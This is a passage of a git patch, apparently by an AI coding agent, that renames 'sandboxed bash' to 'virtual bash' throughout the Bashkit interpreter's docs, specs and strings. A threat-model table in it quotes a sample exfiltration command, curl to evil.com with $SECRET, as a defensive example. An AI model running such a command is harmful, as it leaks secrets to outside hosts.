From 3661e54e680ea77e53a0044bbcc829f8aec9a933 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 10 Feb 2026 15:39:54 +0000 Subject: [PATCH] chore: reframe project language from "sandboxed bash" to "virtual bash" MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Like Virtual Machines emulate hardware, Bashkit emulates Bash and its filesystem. This change updates project descriptions, docs, specs, code comments, and user-facing strings to use "virtual bash" framing. Security terms (Sandbox Escape TM-ESC-*, sandbox containment) are preserved — the execution is still sandboxed and in-process, but the primary identity is now "virtual bash interpreter". Key changes across 53 files: - Project description: "Virtual bash interpreter for multi-tenant environments" - Feature: "Sandboxed, in-process execution" - "sandbox identity" → "virtual identity" - "sandbox mode" → "virtual mode" - "sandboxed environment" → "virtual environment" - "sandboxed git operations" → "virtual git operations" - Renamed sandbox_identity.rs → virtual_identity.rs - Updated user-facing error messages and version strings https://claude.ai/code/session_012FLQoJqMxGvQs6C8kMYXvY --- CHANGELOG.md | 6 ++-- Cargo.toml | 6 ++-- README.md | 20 +++++------ SECURITY.md | 2 +- crates/bashkit-bench/README.md | 4 +-- crates/bashkit-cli/Cargo.toml | 4 +-- crates/bashkit-cli/src/main.rs | 4 +-- crates/bashkit-cli/src/mcp.rs | 2 +- crates/bashkit-monty-worker/src/main.rs | 6 ++-- crates/bashkit-python/Cargo.toml | 2 +- crates/bashkit-python/README.md | 4 +-- crates/bashkit-python/src/lib.rs | 8 ++--- crates/bashkit/docs/compatibility.md | 14 ++++---- crates/bashkit/docs/python.md | 2 +- crates/bashkit/docs/threat-model.md | 8 ++--- crates/bashkit/examples/agent_tool.rs | 6 ++-- crates/bashkit/examples/git_workflow.rs | 8 ++--- crates/bashkit/examples/python_scripts.rs | 2 +- ...andbox_identity.rs => virtual_identity.rs} | 12 +++---- crates/bashkit/src/builtins/environ.rs | 10 +++--- crates/bashkit/src/builtins/export.rs | 2 +- crates/bashkit/src/builtins/git.rs | 2 +- crates/bashkit/src/builtins/inspect.rs | 2 +- crates/bashkit/src/builtins/pipeline.rs | 8 ++--- crates/bashkit/src/builtins/python.rs | 18 +++++----- crates/bashkit/src/builtins/system.rs | 24 ++++++------- crates/bashkit/src/builtins/timeout.rs | 2 +- crates/bashkit/src/builtins/vars.rs | 4 +-- crates/bashkit/src/builtins/wait.rs | 2 +- crates/bashkit/src/fs/limits.rs | 2 +- crates/bashkit/src/fs/memory.rs | 2 +- crates/bashkit/src/fs/mod.rs | 2 +- crates/bashkit/src/git/client.rs | 30 ++++++++-------- crates/bashkit/src/git/config.rs | 10 +++--- crates/bashkit/src/git/mod.rs | 4 +-- crates/bashkit/src/interpreter/mod.rs | 32 ++++++++--------- crates/bashkit/src/lib.rs | 18 +++++----- crates/bashkit/src/limits.rs | 2 +- crates/bashkit/src/network/client.rs | 2 +- crates/bashkit/src/tool.rs | 35 +++++++++---------- crates/bashkit/tests/git_advanced_tests.rs | 2 +- .../tests/git_remote_security_tests.rs | 8 ++--- crates/bashkit/tests/git_security_tests.rs | 4 +-- .../spec_cases/bash/bash-command.test.sh | 8 ++--- crates/bashkit/tests/threat_model_tests.rs | 8 ++--- specs/001-architecture.md | 4 +-- specs/003-vfs.md | 4 +-- specs/005-builtins.md | 14 ++++---- specs/006-threat-model.md | 20 +++++------ specs/008-posix-compliance.md | 2 +- specs/009-implementation-status.md | 12 +++---- specs/009-tool-contract.md | 16 ++++----- specs/010-git-support.md | 26 +++++++------- 53 files changed, 229 insertions(+), 232 deletions(-) rename crates/bashkit/examples/{sandbox_identity.rs => virtual_identity.rs} (88%) diff --git a/CHANGELOG.md b/CHANGELOG.md index 37ff64ec..491c3573 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -58,7 +58,7 @@ ### Highlights - Python bindings with LangChain and Deep Agents integrations -- Sandboxed git support (branch, checkout, diff, reset) +- Virtual git support (branch, checkout, diff, reset) - Bash/sh script execution commands - Virtual filesystem improvements: /dev/null support, duplicate name prevention, FsBackend trait @@ -133,9 +133,9 @@ ### Highlights -- Initial release of Bashkit sandboxed bash interpreter +- Initial release of Bashkit virtual bash interpreter - Core interpreter with bash-compatible syntax support -- Virtual filesystem (VFS) abstraction for sandboxed file operations +- Virtual filesystem (VFS) abstraction for virtual file operations - Resource limits: memory, execution time, operation count - Built-in commands: echo, printf, cat, head, tail, wc, grep, sed, awk, jq, sort, uniq, cut, tr, date, base64, md5sum, sha256sum, gzip, gunzip, etc - CLI tool for running scripts and interactive REPL diff --git a/Cargo.toml b/Cargo.toml index f5fe48a7..d230592e 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,4 +1,4 @@ -# Bashkit - Sandboxed bash interpreter for multi-tenant environments +# Bashkit - Virtual bash interpreter for multi-tenant environments # Part of the Everruns ecosystem # See specs/ for design decisions @@ -12,8 +12,8 @@ edition = "2021" license = "MIT" authors = ["Everruns"] repository = "https://github.com/everruns/bashkit" -description = "Sandboxed bash interpreter for multi-tenant environments" -keywords = ["bash", "sandbox", "ai", "agent", "everruns"] +description = "Virtual bash interpreter for multi-tenant environments" +keywords = ["bash", "virtual", "ai", "agent", "everruns"] categories = ["command-line-utilities", "parser-implementations"] [workspace.dependencies] diff --git a/README.md b/README.md index 7a34f92b..7213db5f 100644 --- a/README.md +++ b/README.md @@ -6,17 +6,17 @@ [![docs.rs](https://img.shields.io/docsrs/bashkit)](https://docs.rs/bashkit) [![Repo: Agent Friendly](https://img.shields.io/badge/Repo-Agent%20Friendly-blue)](AGENTS.md) -Sandboxed bash interpreter for multi-tenant environments. Written in Rust. +Virtual bash interpreter for multi-tenant environments. Written in Rust. ## Features - **POSIX compliant** - Substantial IEEE 1003.1-2024 Shell Command Language compliance -- **Sandboxed execution** - No real filesystem access by default +- **Sandboxed, in-process execution** - No real filesystem access by default - **Virtual filesystem** - InMemoryFs, OverlayFs, MountableFs - **Resource limits** - Command count, loop iterations, function depth - **Network allowlist** - Control HTTP access per-domain - **Async-first** - Built on tokio -- **Experimental: Git support** - Sandboxed git operations on the virtual filesystem (`git` feature) +- **Experimental: Git support** - Virtual git operations on the virtual filesystem (`git` feature) - **Experimental: Python support** - Embedded Python interpreter via [Monty](https://github.com/pydantic/monty) (`python` feature) ## Quick Start @@ -49,7 +49,7 @@ async fn main() -> anyhow::Result<()> { | Utilities | `sleep`, `date`, `basename`, `dirname`, `timeout`, `wait`, `watch` | | Disk | `df`, `du` | | Pipeline | `xargs`, `tee` | -| Shell | `bash`, `sh` (sandboxed re-invocation), `:` | +| Shell | `bash`, `sh` (virtual re-invocation), `:` | | System info | `whoami`, `hostname`, `uname`, `id`, `env`, `printenv`, `history` | | Network | `curl`, `wget` (requires allowlist) | | Experimental | `python`, `python3` (requires `python` feature), `git` (requires `git` feature) | @@ -85,9 +85,9 @@ let mut bash = Bash::builder() .build(); ``` -### Sandbox Identity +### Virtual Identity -Configure the sandbox username and hostname for `whoami`, `hostname`, `id`, and `uname`: +Configure the virtual username and hostname for `whoami`, `hostname`, `id`, and `uname`: ```rust let mut bash = Bash::builder() @@ -103,7 +103,7 @@ let mut bash = Bash::builder() ## Experimental: Git Support -Enable the `git` feature for sandboxed git operations on the virtual filesystem. +Enable the `git` feature for virtual git operations on the virtual filesystem. All git data lives in the VFS — no host filesystem access. ```toml @@ -121,7 +121,7 @@ let mut bash = Bash::builder() // Local operations: init, add, commit, status, log // Branch operations: branch, checkout, diff, reset -// Remote operations: remote add/remove, clone/push/pull/fetch (sandbox mode) +// Remote operations: remote add/remove, clone/push/pull/fetch (virtual mode) ``` See [specs/010-git-support.md](specs/010-git-support.md) for the full specification. @@ -237,11 +237,11 @@ print(result.stdout) ## Security -Bashkit is designed as a sandboxed interpreter for untrusted scripts. See the [security policy](SECURITY.md) for reporting vulnerabilities and the [threat model](specs/006-threat-model.md) for detailed analysis of 60+ identified threats. +Bashkit is designed as a virtual interpreter with sandboxed execution for untrusted scripts. See the [security policy](SECURITY.md) for reporting vulnerabilities and the [threat model](specs/006-threat-model.md) for detailed analysis of 60+ identified threats. ## Acknowledgments -This project was inspired by [just-bash](https://github.com/vercel-labs/just-bash) from Vercel Labs. Huge kudos to the Vercel team for pioneering the idea of a sandboxed bash interpreter for AI-powered environments. Their work laid the conceptual foundation that made Bashkit possible. +This project was inspired by [just-bash](https://github.com/vercel-labs/just-bash) from Vercel Labs. Huge kudos to the Vercel team for pioneering the idea of a virtual bash interpreter for AI-powered environments. Their work laid the conceptual foundation that made Bashkit possible. ## Ecosystem diff --git a/SECURITY.md b/SECURITY.md index f0d410e5..851a4ec3 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -29,7 +29,7 @@ This security policy applies to: ## Security Model -Bashkit is designed as a sandboxed interpreter. Key security boundaries: +Bashkit is designed as a virtual interpreter. Key security boundaries: | Boundary | Protection | |----------|------------| diff --git a/crates/bashkit-bench/README.md b/crates/bashkit-bench/README.md index 8904e77d..e34b48b9 100644 --- a/crates/bashkit-bench/README.md +++ b/crates/bashkit-bench/README.md @@ -127,13 +127,13 @@ Benchmarks are designed to use compatible subset of features. ## Interpreters ### Bashkit -The Rust-based sandboxed interpreter being benchmarked. Runs in-process without subprocess overhead. +The Rust-based virtual interpreter being benchmarked. Runs in-process without subprocess overhead. ### Bash System bash (`/bin/bash` or similar). Spawns a new process for each benchmark, which includes fork/exec overhead. ### just-bash -[Vercel's just-bash](https://github.com/vercel-labs/just-bash) sandboxed interpreter. Optional - will be skipped if not installed. +[Vercel's just-bash](https://github.com/vercel-labs/just-bash) virtual interpreter. Optional - will be skipped if not installed. Install via: `npm install -g just-bash` diff --git a/crates/bashkit-cli/Cargo.toml b/crates/bashkit-cli/Cargo.toml index 91ad8bbb..62904282 100644 --- a/crates/bashkit-cli/Cargo.toml +++ b/crates/bashkit-cli/Cargo.toml @@ -1,5 +1,5 @@ # Bashkit CLI - Command line interface for bashkit -# Run bash scripts in a sandboxed environment +# Run bash scripts in a virtual environment [package] name = "bashkit-cli" @@ -10,7 +10,7 @@ authors.workspace = true repository.workspace = true keywords.workspace = true categories.workspace = true -description = "Command line interface for Bashkit sandboxed bash interpreter" +description = "Command line interface for Bashkit virtual bash interpreter" readme = "../../README.md" [[bin]] diff --git a/crates/bashkit-cli/src/main.rs b/crates/bashkit-cli/src/main.rs index ea8d331b..ad577395 100644 --- a/crates/bashkit-cli/src/main.rs +++ b/crates/bashkit-cli/src/main.rs @@ -1,4 +1,4 @@ -//! Bashkit CLI - Command line interface for sandboxed bash execution +//! Bashkit CLI - Command line interface for virtual bash execution //! //! Usage: //! bashkit -c 'echo hello' # Execute a command string @@ -12,7 +12,7 @@ use anyhow::{Context, Result}; use clap::{Parser, Subcommand}; use std::path::PathBuf; -/// Bashkit - Sandboxed bash interpreter +/// Bashkit - Virtual bash interpreter #[derive(Parser, Debug)] #[command(name = "bashkit")] #[command(author, version, about, long_about = None)] diff --git a/crates/bashkit-cli/src/mcp.rs b/crates/bashkit-cli/src/mcp.rs index 6a8b88a2..9620c099 100644 --- a/crates/bashkit-cli/src/mcp.rs +++ b/crates/bashkit-cli/src/mcp.rs @@ -180,7 +180,7 @@ fn handle_initialize(id: serde_json::Value) -> JsonRpcResponse { fn handle_tools_list(id: serde_json::Value) -> JsonRpcResponse { let tools = vec![Tool { name: "bash".to_string(), - description: "Execute a bash script in a sandboxed environment".to_string(), + description: "Execute a bash script in a virtual environment".to_string(), input_schema: serde_json::json!({ "type": "object", "properties": { diff --git a/crates/bashkit-monty-worker/src/main.rs b/crates/bashkit-monty-worker/src/main.rs index 726d9660..e1945c12 100644 --- a/crates/bashkit-monty-worker/src/main.rs +++ b/crates/bashkit-monty-worker/src/main.rs @@ -136,10 +136,10 @@ fn run( } } RunProgress::FunctionCall { state, .. } => { - // No external functions in sandbox + // No external functions in virtual mode let err = MontyException::new( ExcType::RuntimeError, - Some("external function not available in sandbox".into()), + Some("external function not available in virtual mode".into()), ); match state.run(ExternalResult::Error(err), &mut printer) { Ok(next) => progress = next, @@ -154,7 +154,7 @@ fn run( let output = printer.into_output(); send_error( writer, - "RuntimeError: async operations not supported in sandbox", + "RuntimeError: async operations not supported in virtual mode", &output, ); return Ok(()); diff --git a/crates/bashkit-python/Cargo.toml b/crates/bashkit-python/Cargo.toml index 6f8ca66e..a49307d9 100644 --- a/crates/bashkit-python/Cargo.toml +++ b/crates/bashkit-python/Cargo.toml @@ -8,7 +8,7 @@ edition.workspace = true license.workspace = true authors.workspace = true repository.workspace = true -description = "Python bindings for Bashkit sandboxed bash interpreter" +description = "Python bindings for Bashkit virtual bash interpreter" [lib] crate-type = ["cdylib"] diff --git a/crates/bashkit-python/README.md b/crates/bashkit-python/README.md index f45846cf..a03565b3 100644 --- a/crates/bashkit-python/README.md +++ b/crates/bashkit-python/README.md @@ -1,10 +1,10 @@ # Bashkit Python Bindings -Python bindings for [Bashkit](https://github.com/everruns/bashkit) - a sandboxed bash interpreter for AI agents. +Python bindings for [Bashkit](https://github.com/everruns/bashkit) - a virtual bash interpreter for AI agents. ## Features -- **Sandboxed execution**: All commands run in isolation with a virtual filesystem +- **Sandboxed, in-process execution**: All commands run in isolation with a virtual filesystem - **68+ built-in commands**: echo, cat, grep, sed, awk, jq, curl, find, and more - **Full bash syntax**: Variables, pipelines, redirects, loops, functions, arrays - **Resource limits**: Protect against infinite loops and runaway scripts diff --git a/crates/bashkit-python/src/lib.rs b/crates/bashkit-python/src/lib.rs index a851236d..cb19c451 100644 --- a/crates/bashkit-python/src/lib.rs +++ b/crates/bashkit-python/src/lib.rs @@ -60,7 +60,7 @@ impl ExecResult { } } -/// Sandboxed bash interpreter for AI agents +/// Virtual bash interpreter for AI agents /// /// BashTool provides a safe execution environment for running bash commands /// with a virtual filesystem. State persists between calls - files created @@ -90,8 +90,8 @@ impl BashTool { /// Create a new BashTool instance /// /// Args: - /// username: Custom username for sandbox (default: "user") - /// hostname: Custom hostname for sandbox (default: "sandbox") + /// username: Custom username for virtual environment (default: "user") + /// hostname: Custom hostname for virtual environment (default: "sandbox") /// max_commands: Maximum commands to execute (default: 10000) /// max_loop_iterations: Maximum loop iterations (default: 100000) #[new] @@ -226,7 +226,7 @@ impl BashTool { /// Get short description #[getter] fn short_description(&self) -> &str { - "Sandboxed bash interpreter with virtual filesystem" + "Virtual bash interpreter with virtual filesystem" } /// Get the full description diff --git a/crates/bashkit/docs/compatibility.md b/crates/bashkit/docs/compatibility.md index c3ef3e3d..9e522535 100644 --- a/crates/bashkit/docs/compatibility.md +++ b/crates/bashkit/docs/compatibility.md @@ -99,19 +99,19 @@ for sandbox security reasons. See the compliance spec for details. | `rmdir` | `-p` | Remove empty directories | | `xargs` | `-I`, `-n`, `-d` | Build commands from stdin | | `tee` | `-a` | Write to files and stdout | -| `watch` | `INTERVAL COMMAND` | Execute periodically (sandbox mode) | +| `watch` | `INTERVAL COMMAND` | Execute periodically (virtual mode) | | `file` | (none) | Detect file type via magic bytes | -| `less` | (none) | View file (behaves like cat in sandbox) | +| `less` | (none) | View file (behaves like cat in virtual mode) | | `stat` | `-c FORMAT` | Display file metadata | | `tar` | `-c`, `-x`, `-t`, `-v`, `-f`, `-z` | Archive operations | | `gzip` | `-d`, `-k`, `-f` | Compress files | | `gunzip` | `-k`, `-f` | Decompress files | | `env` | `[VAR=val]` | Print/modify environment | | `printenv` | `[VAR]` | Print environment variables | -| `history` | (none) | Command history (limited in sandbox) | -| `hostname` | (none) | Display sandbox hostname | +| `history` | (none) | Command history (limited in virtual mode) | +| `hostname` | (none) | Display virtual hostname | | `uname` | `-a`, `-s`, `-n`, `-r`, `-v`, `-m`, `-o` | System info | -| `whoami` | (none) | Display sandbox username | +| `whoami` | (none) | Display virtual username | | `id` | `-u`, `-g`, `-n` | User/group IDs | | `nl` | `-b`, `-n`, `-s`, `-i`, `-v`, `-w` | Number lines of files | | `paste` | `-d`, `-s` | Merge lines of files | @@ -332,7 +332,7 @@ Default limits (configurable): | Feature | Status | Notes | |---------|--------|-------| | Virtual filesystem | ✅ | InMemoryFs, OverlayFs, MountableFs | -| Real filesystem | ❌ | Sandboxed by default | +| Real filesystem | ❌ | Virtual by default | | Symlinks | ✅ | Stored but not followed | | Permissions | ✅ | Metadata stored, not enforced | | `/dev/null` | ✅ | Interpreter-level handling (cannot be bypassed) | @@ -440,7 +440,7 @@ Identified from eval analysis — features frequently used by LLM-generated scri ### Not Planned - Interactive features (history, job control UI) -- Process spawning (sandboxed environment) +- Process spawning (virtual environment) - Raw filesystem access --- diff --git a/crates/bashkit/docs/python.md b/crates/bashkit/docs/python.md index a263aa90..7ce00577 100644 --- a/crates/bashkit/docs/python.md +++ b/crates/bashkit/docs/python.md @@ -186,7 +186,7 @@ are available. No `pip install`, no `import numpy`. ## Security -All Python execution is sandboxed: +All Python execution runs in a virtual environment: - **No host filesystem access** — all paths resolve through the VFS - **No network access** — no sockets, HTTP, or DNS diff --git a/crates/bashkit/docs/threat-model.md b/crates/bashkit/docs/threat-model.md index f89eeabd..66b39206 100644 --- a/crates/bashkit/docs/threat-model.md +++ b/crates/bashkit/docs/threat-model.md @@ -1,6 +1,6 @@ # Threat Model -Bashkit is designed to execute untrusted bash scripts safely in sandboxed environments. +Bashkit is designed to execute untrusted bash scripts safely in virtual environments. This document describes the security threats we address and how they are mitigated. **See also:** @@ -11,7 +11,7 @@ This document describes the security threats we address and how they are mitigat ## Overview -Bashkit assumes all script input is potentially malicious. The sandbox prevents: +Bashkit assumes all script input is potentially malicious. The virtual environment prevents: - **Resource exhaustion** (CPU, memory, disk) - **Sandbox escape** (filesystem, process, privilege) @@ -100,7 +100,7 @@ Scripts may attempt to leak sensitive information. | Threat | Attack Example | Mitigation | Code Reference | |--------|---------------|------------|----------------| | Env var leak (TM-INF-001) | `echo $SECRET` | Caller responsibility | See below | -| Host info (TM-INF-005) | `hostname` | Returns sandbox value | [`builtins/system.rs`][system] | +| Host info (TM-INF-005) | `hostname` | Returns virtual value | [`builtins/system.rs`][system] | | Network exfil (TM-INF-010) | `curl evil.com?d=$SECRET` | Network allowlist | [`network/allowlist.rs`][allowlist] | **Caller Responsibility (TM-INF-001):** @@ -123,7 +123,7 @@ let bash = Bash::builder() **System Information:** -System builtins return configurable sandbox values, never real host information: +System builtins return configurable virtual values, never real host information: ```rust,ignore let bash = Bash::builder() diff --git a/crates/bashkit/examples/agent_tool.rs b/crates/bashkit/examples/agent_tool.rs index c443907d..0e879c0f 100644 --- a/crates/bashkit/examples/agent_tool.rs +++ b/crates/bashkit/examples/agent_tool.rs @@ -1,7 +1,7 @@ //! LLM Agent example using Bashkit as a Bash tool //! //! Demonstrates a real AI agent using Claude to execute bash commands -//! in a sandboxed Bashkit session. +//! in a virtual Bashkit session. //! //! Run with: ANTHROPIC_API_KEY=your-key cargo run --example agent_tool --features http_client //! @@ -93,7 +93,7 @@ impl Agent { fn bash_tool() -> Tool { Tool { name: "bash", - description: "Execute bash commands in a sandboxed session. \ + description: "Execute bash commands in a virtual session. \ Variables and functions persist between calls. \ Available commands: echo, cat, printf, grep, sed, awk, jq, \ cd, pwd, test, for/while/if, functions, redirections (> >>).", @@ -144,7 +144,7 @@ impl Agent { let request = MessagesRequest { model: "claude-sonnet-4-20250514", max_tokens: 1024, - system: "You are an agent with access to a sandboxed bash environment. \ + system: "You are an agent with access to a virtual bash environment. \ Your task is to create a few text files with short poems about different topics. \ Use echo with redirection to create files (e.g., echo 'poem' > /topic.txt). \ After creating files, read them back with cat to verify. \ diff --git a/crates/bashkit/examples/git_workflow.rs b/crates/bashkit/examples/git_workflow.rs index 543cc08c..b95a3c86 100644 --- a/crates/bashkit/examples/git_workflow.rs +++ b/crates/bashkit/examples/git_workflow.rs @@ -1,6 +1,6 @@ //! Git workflow example //! -//! Demonstrates sandboxed git operations in Bashkit's virtual filesystem. +//! Demonstrates virtual git operations in Bashkit's virtual filesystem. //! //! Run with: cargo run --example git_workflow --features git @@ -99,7 +99,7 @@ async fn main() -> anyhow::Result<()> { .await?; println!("Author: {}", result.stdout); - // Demonstrate remote operations (sandbox mode) + // Demonstrate remote operations (virtual mode) println!("14. Add remote (URL validation):"); let result = bash .exec("cd /project && git remote add origin https://github.com/example/repo.git") @@ -110,8 +110,8 @@ async fn main() -> anyhow::Result<()> { let result = bash.exec("cd /project && git remote -v").await?; println!("{}", result.stdout); - // Try push (will show sandbox message) - println!("15. Attempt push (sandbox mode):"); + // Try push (will show virtual mode message) + println!("15. Attempt push (virtual mode):"); let result = bash.exec("cd /project && git push origin master").await?; println!("{}", result.stderr); diff --git a/crates/bashkit/examples/python_scripts.rs b/crates/bashkit/examples/python_scripts.rs index 32a1b6e5..02b85382 100644 --- a/crates/bashkit/examples/python_scripts.rs +++ b/crates/bashkit/examples/python_scripts.rs @@ -1,6 +1,6 @@ //! Python Scripts Example //! -//! Demonstrates running Python code inside BashKit's sandbox using the +//! Demonstrates running Python code inside BashKit's virtual environment using the //! embedded Monty interpreter. Python runs entirely in-memory with //! resource limits. Python pathlib.Path operations are bridged to //! BashKit's virtual filesystem. diff --git a/crates/bashkit/examples/sandbox_identity.rs b/crates/bashkit/examples/virtual_identity.rs similarity index 88% rename from crates/bashkit/examples/sandbox_identity.rs rename to crates/bashkit/examples/virtual_identity.rs index 439a3c05..c97c5910 100644 --- a/crates/bashkit/examples/sandbox_identity.rs +++ b/crates/bashkit/examples/virtual_identity.rs @@ -1,17 +1,17 @@ -//! Sandbox Identity Configuration Example +//! Virtual Identity Configuration Example //! -//! Demonstrates how to configure custom username and hostname for the sandbox. +//! Demonstrates how to configure custom username and hostname for the virtual environment. //! This is useful for simulating specific environments or user contexts. //! -//! Run with: cargo run --example sandbox_identity +//! Run with: cargo run --example virtual_identity use bashkit::Bash; #[tokio::main] async fn main() -> anyhow::Result<()> { - println!("=== Default Sandbox Identity ===\n"); + println!("=== Default Virtual Identity ===\n"); - // Default sandbox identity + // Default virtual identity let mut bash = Bash::new(); let result = bash.exec("whoami").await?; @@ -26,7 +26,7 @@ async fn main() -> anyhow::Result<()> { let result = bash.exec("uname -n").await?; println!("uname -n: {}", result.stdout.trim()); - println!("\n=== Custom Sandbox Identity ===\n"); + println!("\n=== Custom Virtual Identity ===\n"); // Custom username and hostname let mut bash = Bash::builder() diff --git a/crates/bashkit/src/builtins/environ.rs b/crates/bashkit/src/builtins/environ.rs index 494676d4..903afc1a 100644 --- a/crates/bashkit/src/builtins/environ.rs +++ b/crates/bashkit/src/builtins/environ.rs @@ -63,10 +63,10 @@ impl Builtin for Env { return Ok(ExecResult::ok(output)); } - // We have a command - but since we're in a sandbox, we can't execute arbitrary commands + // We have a command - but since we're in a virtual environment, we can't execute arbitrary commands // Return an error indicating this Ok(ExecResult::err( - "env: executing commands not supported in sandbox\n".to_string(), + "env: executing commands not supported in virtual mode\n".to_string(), 126, )) } @@ -125,7 +125,7 @@ impl Builtin for Printenv { /// -c Clear the history /// N Show last N entries /// -/// In a sandboxed environment, history is limited to the current session. +/// In Bashkit's virtual environment, history is limited to the current session. /// Note: Full history tracking would require interpreter changes. pub struct History; @@ -149,11 +149,11 @@ impl Builtin for History { } if clear { - // In a sandboxed environment, there's no persistent history to clear + // In Bashkit's virtual environment, there's no persistent history to clear return Ok(ExecResult::ok(String::new())); } - // In a sandboxed environment, we don't have access to shell history + // In Bashkit's virtual environment, we don't have access to shell history // Return an informational message let output = if let Some(_n) = count { // Would show last N entries diff --git a/crates/bashkit/src/builtins/export.rs b/crates/bashkit/src/builtins/export.rs index 8ed9c6ea..96167e96 100644 --- a/crates/bashkit/src/builtins/export.rs +++ b/crates/bashkit/src/builtins/export.rs @@ -8,7 +8,7 @@ use crate::interpreter::ExecResult; /// export builtin - mark variables for export to child processes /// -/// In our sandboxed environment, this primarily just sets variables. +/// In Bashkit's virtual environment, this primarily just sets variables. /// The distinction between exported and non-exported isn't significant /// since we don't spawn real child processes. pub struct Export; diff --git a/crates/bashkit/src/builtins/git.rs b/crates/bashkit/src/builtins/git.rs index f186297f..61fcdddc 100644 --- a/crates/bashkit/src/builtins/git.rs +++ b/crates/bashkit/src/builtins/git.rs @@ -1,6 +1,6 @@ //! Git builtin command. //! -//! Provides sandboxed git operations on the virtual filesystem. +//! Provides virtual git operations on the virtual filesystem. //! //! # Supported Subcommands (Phase 1) //! diff --git a/crates/bashkit/src/builtins/inspect.rs b/crates/bashkit/src/builtins/inspect.rs index ebb97a55..a64b1aaa 100644 --- a/crates/bashkit/src/builtins/inspect.rs +++ b/crates/bashkit/src/builtins/inspect.rs @@ -11,7 +11,7 @@ use crate::interpreter::ExecResult; /// /// Usage: less [FILE...] /// -/// In a sandboxed environment, this behaves like cat (no interactive paging). +/// In Bashkit's virtual environment, this behaves like cat (no interactive paging). /// The command still succeeds to allow scripts that use less to work. pub struct Less; diff --git a/crates/bashkit/src/builtins/pipeline.rs b/crates/bashkit/src/builtins/pipeline.rs index 95ff854c..1c4cca1c 100644 --- a/crates/bashkit/src/builtins/pipeline.rs +++ b/crates/bashkit/src/builtins/pipeline.rs @@ -16,7 +16,7 @@ use crate::interpreter::ExecResult; /// -d DELIM Use DELIM as delimiter instead of whitespace /// -0 Use NUL as delimiter (same as -d '\0') /// -/// Note: In sandbox mode, xargs outputs the commands that would be run +/// Note: In virtual mode, xargs outputs the commands that would be run /// instead of executing them, unless the command is a builtin. pub struct Xargs; @@ -198,7 +198,7 @@ impl Builtin for Tee { /// Options: /// -n SECONDS Specify update interval (default: 2) /// -/// Note: In a sandboxed environment, watch runs the command once +/// Note: In Bashkit's virtual environment, watch runs the command once /// and returns, since continuous execution isn't supported. pub struct Watch; @@ -249,11 +249,11 @@ impl Builtin for Watch { } }; - // In sandbox mode, we just display what the command would be + // In virtual mode, we just display what the command would be // A real implementation would need interpreter support to execute commands let command: Vec<_> = ctx.args[start..].iter().collect(); let output = format!( - "Every {:.1}s: {}\n\n(watch: continuous execution not supported in sandbox mode)\n", + "Every {:.1}s: {}\n\n(watch: continuous execution not supported in virtual mode)\n", _interval, command .iter() diff --git a/crates/bashkit/src/builtins/python.rs b/crates/bashkit/src/builtins/python.rs index 1de6df3a..63768c57 100644 --- a/crates/bashkit/src/builtins/python.rs +++ b/crates/bashkit/src/builtins/python.rs @@ -5,11 +5,11 @@ //! **This integration is experimental.** Monty is an early-stage Python interpreter //! that may have undiscovered crash or security bugs in its parser or VM. //! Subprocess isolation mitigates host crashes, but undiscovered issues may bypass -//! BashKit's sandboxing. Use with caution when processing untrusted input. +//! BashKit's security boundary. Use with caution when processing untrusted input. //! //! # Overview //! -//! Sandboxed Python execution with resource limits and VFS access. +//! Virtual Python execution with resource limits and VFS access. //! Python `pathlib.Path` operations are bridged to BashKit's virtual filesystem //! via Monty's OsCall pause/resume mechanism. No real filesystem or network access. //! @@ -93,7 +93,7 @@ use crate::error::Result; use crate::fs::{FileSystem, FileType}; use crate::interpreter::ExecResult; -/// Default resource limits for sandboxed Python execution. +/// Default resource limits for virtual Python execution. const DEFAULT_MAX_ALLOCATIONS: usize = 1_000_000; const DEFAULT_MAX_DURATION: Duration = Duration::from_secs(30); const DEFAULT_MAX_MEMORY: usize = 64 * 1024 * 1024; // 64 MB @@ -123,7 +123,7 @@ pub enum PythonIsolation { /// **Experimental:** The Monty integration is experimental and may have /// undiscovered security issues. See module-level docs for details. /// -/// Use the builder pattern to customize, or `Default` for the standard sandbox limits: +/// Use the builder pattern to customize, or `Default` for the standard virtual execution limits: /// - 1,000,000 allocations /// - 30 second timeout /// - 64 MB memory @@ -350,7 +350,7 @@ impl Builtin for Python { } else { // No args, no stdin — interactive mode not supported return Ok(ExecResult::err( - "python3: interactive mode not supported in sandbox\n".to_string(), + "python3: interactive mode not supported in virtual mode\n".to_string(), 1, )); }; @@ -710,7 +710,7 @@ async fn run_python_in_process( // No external functions registered; return error let err = MontyException::new( ExcType::RuntimeError, - Some("external function not available in sandbox".into()), + Some("external function not available in virtual mode".into()), ); match state.run(ExternalResult::Error(err), &mut printer) { Ok(next) => progress = next, @@ -721,11 +721,11 @@ async fn run_python_in_process( } } RunProgress::ResolveFutures(_) => { - // Async futures not supported in sandbox + // Async futures not supported in virtual mode let printed = printer.into_output(); let err = MontyException::new( ExcType::RuntimeError, - Some("async operations not supported in sandbox".into()), + Some("async operations not supported in virtual mode".into()), ); return Ok(format_exception_with_output(err, &printed)); } @@ -919,7 +919,7 @@ async fn handle_os_call( // Getenv/GetEnviron handled above _ => ExternalResult::Error(MontyException::new( ExcType::OSError, - Some(format!("{function} not supported in sandbox")), + Some(format!("{function} not supported in virtual mode")), )), } } diff --git a/crates/bashkit/src/builtins/system.rs b/crates/bashkit/src/builtins/system.rs index 2b97b4ae..a0f404c7 100644 --- a/crates/bashkit/src/builtins/system.rs +++ b/crates/bashkit/src/builtins/system.rs @@ -1,6 +1,6 @@ //! System information builtins (hostname, uname, whoami, id) //! -//! These builtins return configurable sandbox values to prevent +//! These builtins return configurable virtual values to prevent //! information disclosure about the host system. //! //! Security rationale: Real system information could be used for: @@ -14,20 +14,20 @@ use super::{Builtin, Context}; use crate::error::Result; use crate::interpreter::ExecResult; -/// Default sandbox hostname. +/// Default virtual hostname. /// Using a clearly fake name prevents confusion with real hosts. pub const DEFAULT_HOSTNAME: &str = "bashkit-sandbox"; -/// Default sandbox username. +/// Default virtual username. pub const DEFAULT_USERNAME: &str = "sandbox"; -/// Hardcoded sandbox user ID. +/// Hardcoded virtual user ID. pub const SANDBOX_UID: u32 = 1000; -/// Hardcoded sandbox group ID. +/// Hardcoded virtual group ID. pub const SANDBOX_GID: u32 = 1000; -/// The hostname builtin - returns configurable sandbox hostname. +/// The hostname builtin - returns configurable virtual hostname. /// /// Real hostname is never exposed to prevent host 